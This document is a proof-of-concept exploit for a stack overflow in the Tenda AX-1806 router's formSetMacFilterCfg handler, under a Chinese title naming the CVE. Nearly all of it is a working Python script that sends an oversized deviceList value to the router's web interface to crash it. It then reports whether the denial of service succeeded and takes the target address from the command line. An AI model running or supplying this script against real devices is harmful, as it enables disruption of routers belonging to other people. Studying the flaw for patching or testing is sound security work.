CVE-2025-70650 Tenda AX-1806 formSetMacFilterCfg函数栈溢出漏洞

import requests # CVE-2025-70650 PoC - Tenda AX-1806 Stack Overflow in formSetMacFilterCfg # Target: Tenda AX-1806 v1.0.0.1 # Vulnerability: Stack overflow in deviceList parameter of formSetMacFilterCfg function target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 target_url = f"http://{target_ip}/goform/formSetMacFilterCfg" # Generate payload with oversized deviceList parameter to trigger stack overflow # The exact overflow length depends on the buffer size in the firmware # This PoC uses 1000 bytes of 'A' characters as a generic overflow attempt def create_stack_overflow_payload(payload_length=1000): """Generate stack overflow payload for deviceList parameter""" overflow_string = "A" * payload_length return overflow_string def exploit_cve_2025_70650(target_ip, payload_length=1000): """ Exploit CVE-2025-70650 - Stack overflow in formSetMacFilterCfg This PoC sends a crafted HTTP POST request with an oversized deviceList parameter to trigger a stack buffer overflow in the Tenda AX-1806 router. """ device_list_payload = create_stack_overflow_payload(payload_length) # Construct the POST data post_data = { "deviceList": device_list_payload, "module": "mac", "action": "set" } try: print(f"[*] Sending exploit payload to {target_ip}") print(f"[*] Payload length: {len(device_list_payload)} bytes") response = requests.post(target_url, data=post_data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Check if device is still responsive (DoS successful) check_url = f"http://{target_ip}/" try: check_response = requests.get(check_url, timeout=5) print("[-] Target still responsive - DoS may have failed") except requests.exceptions.RequestException: print("[+] Target appears unresponsive - DoS successful") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target_ip = sys.argv[1] if len(sys.argv) > 2: payload_length = int(sys.argv[2]) else: payload_length = 1000 exploit_cve_2025_70650(target_ip, payload_length)